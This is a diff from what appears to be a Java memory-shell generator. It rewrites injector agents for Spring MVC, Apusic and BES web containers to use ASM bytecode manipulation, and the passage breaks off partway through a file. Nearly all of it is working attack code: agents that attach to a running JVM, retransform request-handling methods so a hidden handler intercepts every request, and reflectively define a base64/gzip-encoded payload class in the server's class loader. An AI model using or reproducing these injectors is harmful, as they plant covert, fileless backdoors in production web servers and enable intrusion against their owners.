System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
||||||
.type(named("org.springframework.web.servlet.FrameworkServlet"))
|
}
|
||||||
.transform(new SpringWebMvcFrameworkServletAgentInjector())
|
}
|
||||||
.installOn(inst);
|
|
||||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
-97
@@ -1,97 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.springwebmvc.injector;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class SpringWebMvcFrameworkServletAgentWithAsmInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "org/springframework/web/servlet/FrameworkServlet";
|
|
||||||
private static final String TARGET_METHOD_NAME = "service";
|
|
||||||
|
|
||||||
static Constructor<?> constructor = null;
|
|
||||||
|
|
||||||
static {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = Class.forName(getClassName());
|
|
||||||
constructor = clazz.getConstructors()[0];
|
|
||||||
constructor.setAccessible(true);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public SpringWebMvcFrameworkServletAgentWithAsmInjector() {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
|
||||||
try {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new SpringWebMvcFrameworkServletAgentWithAsmInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+223
@@ -0,0 +1,223 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.apusic;
|
||||||
|
|
||||||
|
import org.objectweb.asm.*;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
|
import java.lang.instrument.Instrumentation;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/26
|
||||||
|
*/
|
||||||
|
public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "com/apusic/web/container/FilterChainImpl";
|
||||||
|
private static final String TARGET_METHOD_NAME = "performFilter";
|
||||||
|
|
||||||
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getBase64String() {
|
||||||
|
return "{{base64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
||||||
|
launch(inst);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
|
System.out.println("MemShell Agent is starting");
|
||||||
|
inst.addTransformer(new ApusicFilterChainAgentInjector(), true);
|
||||||
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
|
String name = allLoadedClass.getName();
|
||||||
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
try {
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+197
-38
@@ -1,39 +1,28 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.bes;
|
package com.reajason.javaweb.memshell.injector.bes;
|
||||||
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
import org.objectweb.asm.*;
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import net.bytebuddy.utility.JavaModule;
|
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/28
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class BesContextValveAgentInjector implements AgentBuilder.Transformer {
|
public class BesContextValveAgentInjector extends ClassLoader implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
|
||||||
|
private static final String TARGET_METHOD_NAME = "invoke";
|
||||||
|
|
||||||
static Class<?> interceptorClass = null;
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
static {
|
|
||||||
try {
|
|
||||||
interceptorClass = Class.forName(getClassName());
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
public static String getBase64String() {
|
||||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
return "{{base64String}}";
|
||||||
TypeDescription typeDescription,
|
|
||||||
ClassLoader classLoader, JavaModule module,
|
|
||||||
ProtectionDomain protectionDomain) {
|
|
||||||
return builder.visit(Advice.to(interceptorClass).on(named("invoke").and(ElementMatchers.returns(void.class))));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
@@ -44,21 +33,191 @@ public class BesContextValveAgentInjector implements AgentBuilder.Transformer {
|
|||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
new AgentBuilder.Default()
|
inst.addTransformer(new BesContextValveAgentInjector(), true);
|
||||||
.ignore(ElementMatchers.none())
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
.disableClassFormatChanges()
|
String name = allLoadedClass.getName();
|
||||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
inst.retransformClasses(allLoadedClass);
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
}
|
||||||
.type(named("com.bes.enterprise.webtier.core.DefaultContextValve"))
|
}
|
||||||
.transform(new BesContextValveAgentInjector())
|
|
||||||
.installOn(inst);
|
|
||||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
